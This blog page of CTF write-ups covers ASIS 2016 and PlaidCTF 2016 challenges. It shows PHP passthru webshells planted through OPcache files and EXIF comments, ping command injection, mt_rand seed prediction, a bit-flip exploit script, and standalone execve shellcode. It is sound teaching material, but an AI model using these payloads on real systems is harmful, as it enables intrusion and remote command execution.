System Overlord

A blog about security engineering, research, and general hacking.

ASIS CTF 2016: firtog

Firtog gives us a pcap file that you can quickly see features several TCP sessions containing the git server protocol. The binary protocol looks like this in the follow TCP stream mode:

firtog wireshark

Switching Wireshark to decode this as “Git” almost works, but there’s a trick. If we read the git pack protocol documentation, we’ll see there’s a special side-band mode here, where the length field is followed with a ‘1’, ‘2’, or ‘3’ byte indicating the type of data to follow. We only want the data from sideband ‘1’, which is the actual packfile data. So we’ll grab that data using Wireshark and write it to a file, fixing up the last byte with quick python work.

Once we have the packfiles, we recreate the git repository. Begin by creating an empty git repository with git init. Then, we can use git unpack-objects < PACKFILE on each of the packfiles (in order, or else we won’t get the deltas resolved properly). Finally, to get the structure back to normal, run git fsck and you’ll see something like this:

1
2
3
4
% git fsck
Checking object directories: 100% (256/256), done.
Checking objects: 100% (21/21), done.
dangling commit 922faaf7d9a6f74eb661acc62b93b968ec3f781f

This dangling commit tells us it’s the only unreferenced commit in the repository (i.e., not referenced as a parent by a commit or merge), so let’s check that one out:

1
2
% git checkout 922fa
HEAD is now at 922faaf... a new encrypted flag :P:P

Ok, so now we’re somewhere. Let’s see what we have:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
% ls
flag.py  flag.txt  readme
% cat flag.py
#!/usr/bin/python
# Simple but secure flag generator for ASIS CTF Quals 2016

from os import urandom
from hashlib import sha1

l = 128
rd = urandom(l)
h = sha1(rd).hexdigest()
flag = 'ASIS{' + h + '}'
print flag
f = open('flag.txt', 'w')
flag_enc = ''
for c in flag:
  flag_enc += hex(pow(ord(c), 65537, 143))[2:]
f.write(flag_enc)
f.close()
% cat flag.txt
41608a606a63201245f1020d205f1612147463d85d125c1416635c854c74d172010105c14f8555d125c3c

So they grabbed some random data and hashed it, then did some exponentiation byte-by-byte to produce the output. There’s probably some better way to reverse it, but since it’s a limited character set, I just created a map of values to reverse the flag by performing the same math they did.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
% cat flagdec.py 
flag = '41608a606a63201245f1020d205f1612147463d85d125c1416635c854c74d172010105c14f8555d125c3c'

lookup = {}

for b in 'ASIS{}0123456789abcdef':
    lookup[hex(pow(ord(b), 65537, 143))[2:]] = b

i = 0
out = ''
while i < len(flag):
    try:
        out += lookup[flag[i]]
    except KeyError:
        out += lookup[flag[i] + flag[i+1]]
        i += 1
    i += 1

print out
% python flagdec.py 
ASIS{c691a0646e79f3c4d495f7c5db3486005fad2495}

(I apologize for the quality of the code, but hey, it’s CTF-quality, not production-quality.)


ASIS CTF 2016: Binary Cloud

Binary Cloud claims “Now you can upload any types of files, temporarily.” Let’s see what this means.

binary cloud

Rule one of web challenges: check robots.txt:

1
2
3
4
5
User-Agent: *
Disallow: /
Disallow: /debug.php
Disallow: /cache
Disallow: /uploads

So we have some interesting paths there. debug.php turns out to be a phpinfo() page, informing us it’s ‘PHP Version 7.0.4-7ubuntu2’. Interesting, pretty new version. I play around with the app briefly to see how it’s going to behave, and notice any file ending in .php is prohibited. No direct .php script upload for us.

I got back to the PHPInfo, and notice that if we look closely, we discover the OPCache is enabled, set to a file directory (within the document root, interestingly). This reminds me of a recent blog post I read. (See kids, this is why it’s important to keep up on the news in security!)

Ok, so maybe we need the ability to upload files into the cache directory. Let’s figure out how to get that. Looking at the upload code, we see this:

1
2
3
4
5
<form action="upload.php?uploads" enctype="multipart/form-data" method="post">
<p>Please specify the file to upload!</p>
<input class="form-control" type="file" name="file"><br>
<input class="form-control" type="submit" value="Upload!">
</form>

When we upload, we’re told it’s uploaded to uploads/filename. I notice the query string of uploads on the form action, so I try it with a few different paths. If you provide any string including cache you get an error, which makes me believe I’m on the right path but need to figure out how to bypass the path checks. This had me stumped for a long time, and I moved back and forth to other challenges, but eventually I came back and happened upon the fact that if you provided //upload.php?/home/binarycloud/www/cache/, it would work. (More on that later.)

So, now we need the opcache file to upload. I spun up a Ubuntu 16.04 VM to match the target as closely as possible. First I needed a php file to create an opcache for. I noticed in the PHPInfo that there was a path blacklist, including the obvious paths:

1
2
3
4
/home/binarycloud/www/index.php
/home/binarycloud/www/debug.php
/home/binarycloud/www/home.php
/home/binarycloud/www/upload.php

However, I also noticed that /cache/index.php appeared to be a script, and was not blacklisted. So, along with the system_id from our test system, I determined the target path to be /home/binarycloud/www/cache/81d80d78c6ef96b89afaadc7ffc5d7ea/home/binarycloud/www/cache/index.php. I created a basic webshell on my test server containing <?PHP passthru($_GET['x']); as /home/binarycloud/www/cache/index.php (the full path is embedded in the OpCache file) and grabbed the index.php.bin file. I upload this and then visit the page /cache/index.php?x=ls and am happy to see a directory listing. From there it’s just a short hop to get the flag in the root of the system.

###Appendix###

In case you’re wondering, I also grabbed the source to upload.php while I had my shell (because I like to understand problems even after I get the flag) and here it is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

function ew($haystack, $needle) {
    return $needle === "" || (($temp = strlen($haystack) - strlen($needle)) >= 0 && strpos($haystack, $needle, $temp) !== false);
}

function filter_directory(){
	$data = parse_url($_SERVER['REQUEST_URI']);
	$filter = ["cache", "binarycloud"];
	foreach($filter as $f){
		if(preg_match("/".$f."/i", $data['query'])){
			die("Attack Detected");
		}
	}
}

function error($msg){
	die("<script>alert('$msg');history.go(-1);</script>");
}

filter_directory();

if($_SERVER['QUERY_STRING'] && $_FILES['file']['name']){
	if(!file_exists($_SERVER['QUERY_STRING'])) error("error3");
	$name = preg_replace("/[^a-zA-Z0-9\.]/", "", basename($_FILES['file']['name']));
        if(ew($name, ".php")) error("error");
	$filename = $_SERVER['QUERY_STRING'] . "/" . $name;
	if(file_exists($filename)) error("exists");
	if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)){
		die("uploaded at <a href=$filename>$filename</a><hr><a href='javascript:history.go(-1);'>Back</a>");
	}else{
		error("error");
	}
}

?>
	<hr>
	<form action="upload.php?uploads" enctype="multipart/form-data" method="post">
		<p>Please specify the file to upload!</p>
		<input class="form-control" type="file" name="file"><br>
		<input class="form-control" type="submit" value="Upload!">
	</form>

Notice that filter_directory uses parse_url on the request URI. This means parsing a path beginning with two slashes and having a query string beginning with a slash gets treated as a hostname up through the ‘?’, followed by the path, with no query string. I’m not sure this is the right way to parse it, but it worked for me here. :)


ASIS CTF 2016: 3magic

We’re directed to a web application that provides us with the ability to ping an arbitrary host. Like many such web interfaces, this one is vulnerable to command injection. We can provide flags like -v to get the version of ping being used, but inserting other characters, like |, ;, or $() result in a response of invalid character detected. Notably, so do spaces and tabs, significantly limiting the ability to run commands (we’ll see how to get around this shortly).

ping

I spent some time testing various characters and discovered that neither ampersands nor newlines were included in the filter set, so these could be used to separate commands. I could quickly list the files in the current directory with &ls, but couldn’t figure out a way to traverse directories.

1
2
3
files
index.php
pages

One of my teammates discovered that you could use brace expansion to add command arguments, so &{ls,pages} lets us list the pages directory:

1
2
Adm1n1sTraTi0n2.php
ping.php

Adm1n1sTraTi0n2.php looks interesting, but I’d really like to see the source. Several attempts to get source result in an error of addr is too long, which seems to occur at 15 characters. Eventually, we hit upon the idea of using the command grep -Hr . . to grep for every line of every file in the current directory and below. This looks like &{grep,-Hr,.,.} and gives us the source of every file we’re looking at (though not in a very pretty format). I’ve cleaned them up below.

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>
<head>
  <title>3magic</title>
<body>
  <li>
    <a href='?page=ping'>ping</a>
  </li>
  <?php
    if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
  ?>
      <li>
      <a href='?page=???'>admin</a>
      </li>
  <?php
    }
  ?>
  <hr>
  <?php
  if (isset($_GET['page'])) {
    $p = $_GET['page'];
    if (preg_match('/(:\/\/)/', $p)) {
      die('attack detected');
    }
    include("pages/".$p.".php");
    die();
  }
  ?>
</body>
</html>

ping.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<p>ping</p>
<form action="./?page=ping" method="POST">
  <input type="text" name="addr" placeholder="addr">
  <input type="submit" value="send">
</form>
<textarea style="width: 300px; height: 300px" placeholder="result">
<?php
if (isset($_POST['addr'])) {
  $addr = $_POST['addr'];
  if (preg_match('/[`;$()| \/\'>"\t]/', $addr)) {
    die("invalid character detected");
  }
  if (strpos($addr, ".php") !== false){
    die("invalid character detected");
  }
  if (strlen($addr) > 15) {
    die("addr is too long");
  }
  @system("timeout 2 bash -c 'ping -c 1 $addr' 2>&1");
}
?>
</textarea>

Adm1n1sTraTi0n2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<p>image inspector</p>
<?php
mt_srand((time() % rand(1,10000) + rand(2000,5000))%rand(1000,9000)+rand(2000,5000));
// files directory flushed every 3min
setcookie('test', mt_rand(), time(), '/');
if (isset($_POST['submit'])) {
  $check = getimagesize($_FILES['file']['tmp_name']);
  if($check !== false) {
    echo 'File is an image - ' . $check['mime'];
    $filename = '/var/www/html/3magic/files/'.mt_rand().'_'.$_FILES['file']['name']; // prevent path traversal
    move_uploaded_file($_FILES['file']['tmp_name'], $filename);
    echo "<br>\n";
    system('/usr/bin/file -b '.escapeshellarg($filename));
    echo "<br>\n";
  } else {
    echo "File is not an image";
  }
}
?>
<form action="?page=Adm1n1sTraTi0n2" method="post" enctype="multipart/form-data">
  Select image to upload:
  <input type="file" name="file">
  <input type="submit" value="Upload Image" name="submit">
</form>

So, we have a file upload with validation to test if the image is, in fact, an image. (getimagesize is pretty hard to fake.) We can upload arbitrary files, but I’m not sure if we can get them included thanks to the detection of slashes in the include in index.php. There’s also the small matter of predicting the value of mt_rand() used in the filename. On second glance, I realize there’s nothing stopping us from uploading a file whose extension is .php, but there’s still the matter of mt_rand(). It actually took me several minutes before I noticed the cookie being set, leaking a value from mt_rand(). I know mt_rand isn’t secure and should be predictable, but I’m not sure how to do it.

It turns out there’s a tool out there to find the seed from a returned value of mt_rand, except it turns out it takes about 10 minutes on my laptop. I realized the mt_srand call to seed mt_rand looked a little bit funny with all the math. Working it through, I realized that, rather than a full 2**32 range for the seed, the entire working range is only between 3000 and 14000. With this range, it turned out a small PHP script was a better option to figure out the next mt_rand value:

1
2
3
4
5
6
7
8
9
<?PHP
for($i=3000;$i<=14000;$i++) {
  mt_srand($i);
  if (mt_rand() == $argv[1]) {
    print mt_rand();
    print "\n";
    break;
  }
}

With this tool, I was able to predict full filenames, and could upload images with the extension .php. To get code execution, I added <?PHP passthru($_GET['x']); ?> as the EXIF comment in a JPEG image and uploaded it as a .php file. I was quickly able to confirm both that my script and the PHP embedded worked by listing the directory.

Now, to find the flag. It wasn’t in the working directory or the document root, so I checked the root of the system, and found a file named flag, but it turned out it was only readable by the user flag, and I was running as www-data. However, it turned out that there was also a program /read_flag, but attempting to call it from my PHP shell resulted in a Segmentation Fault. So I started a shell with netcat, and tried from this shell. Still, a segmentation fault. Maybe it needed a pty? Fortunately, there’s a nice python one-liner to allocate a pseudo terminal: python -c "import pty;pty.spawn('/bin/bash')" Running /read_flag from this point gave results:

1
2
3
4
5
6
www-data@web-tasks:~/html/3magic/files$ /read_flag
/read_flag
Write "*please_show_me_your_flag*" on my tty, and I will give you flag :)
*please_show_me_your_flag*
*please_show_me_your_flag*
ASIS{015c6456955c3c44b46d8b23d8a3187c}

Even shorter x86-64 shellcode

So about two years ago, I put together the shortest x86-64 shellcode for execve("/bin/sh",...); that I could. At the time, it was 25 bytes, which I thought was pretty damn good. However, I’m a perfectionist and so I spent some time before work this morning playing shellcode golf. The rules of my shellcode golf are pretty simple:

  • The shellcode must produce the desired effect.
  • It doesn’t have to do things cleanly (i.e., segfaulting after is OK, as is using APIs in unusual ways, so long as it works)
  • It can assume the stack pointer is at a place where it will not segfault and it will not overwrite the shellcode itself.
  • No NULLs. While there might be other constraints, this one is too common to not have as a default.

So, spending a little bit of time on this, I came up with the following 22 byte shellcode:

1
2
3
4
5
6
7
8
9
10
11
BITS 64

xor esi, esi
push rsi
mov rbx, 0x68732f2f6e69622f
push rbx
push rsp
pop rdi
imul esi
mov al, 0x3b
syscall

Assembled, we get:

1
char shellcode[] = "\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05";

This is shorter than anything I could find on shell-storm or other shellcode repositories. If you know of something shorter or think you can do better, let me know!


PlaidCTF 2016: Butterfly

Butterfly was a 150 point pwnable in the 2016 PlaidCTF. Basic properties:

  • x86_64
  • Not PIE
  • Assume ASLR, NX

It turns out to be a very simple binary, all the relevant code in one function (main), and using only a handful of libc functions. The first thing that jumped out to me was two calls to mprotect, at the same address. I spent some time looking at the disassembly and figuring out what was going on. The relevant portions can be seen here:

First mprotect call Second mprotect call

I determined that the binary performed the following:

  1. Print a message.
  2. Read a line of user input and convert it to a long with strtol.
  3. Take the read value and right shift by 3 bits. Let’s call this addr.
  4. Find the (4096-bit) page containing addr and call mprotect with PROT_READ|PROT_WRITE|PROT_EXEC.
  5. xor the byte at addr with 1 << (input & 7). In other words, the lowest 3 bits of the user-provided long are used to index the bit within the byte to flip.
  6. Reprotect the page containing addr as PROT_READ|PROT_EXEC.
  7. Print a final message.

The TL;DR is that we’re able to flip any bit in any mapped address space of the process. Due to ASLR, I decided to focus on the .text section of the binary as my first goal. Specifically, I began looking at the GOT and all of the executable code after the bit being flipped. I couldn’t immediately happen on anything obvious (there’s not some branch to flip to system("/bin/sh") after all).

I had an idea that redirecting control flow with one of the function calls (either mprotect or puts) seemed like a logical place to flip bits. I didn’t see an immediately obvious choice, so I wrote a script to brute force addresses within the two calls, flipping one bit at a time. I happened upon a bit flip in the call to mprotect that resulted in jumping back to _start+16, which effectively restarted the program. This meant I could continue to flip bits, as the one call had been replaced already.

Along with one of my team mates, we hit upon the idea of replacing the code at the end of the program with our shellcode by flipping the necessary bits. We chose code beginning at 0x40084d because it meant we could flip one bit in a je at the top to get to this code when we were ready to execute our shellcode.

We extracted the bytes originally at that address, xor’d with our shellcode (a simple 25-byte /bin/sh shellcode that I’ve previously featured), and determined which bits needed to be flipped. We then calculated the bit flips and wrote a list of numbers to perform them.

In short, we needed to:

  1. Flip a bit in call mprotect to give us a never-ending loop.
  2. Flip about 100 bits to deploy our shellcode.
  3. Flip one final bit to change the je to jne after the call to fgets.
  4. Provide garbage input for the final call to gets.

My team mate and I both wrote scripts to do this because we were playing with different techniques in python. Here’s mine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
base = 0x40084d
sc = '\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05'
current = 'dH\x8b\x04%(\x00\x00\x00H;D$@u&D\x89\xf0H\x83\xc4H[A'
flips = ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(sc, current))

start_loop = 0x20041c6
end_loop = 0x2003eb0

print hex(start_loop)

for i, pos in enumerate(flips):
    pos = ord(pos)
    for bit in xrange(8):
        if pos & (1<<bit):
            print hex(((base + i) << 3) | bit)

print hex(end_loop)
print 'whoami'

Redirecting to netcat allowed us to obtain a shell, and the flag. Great challenge and amazing to see how one bit flip can do so much!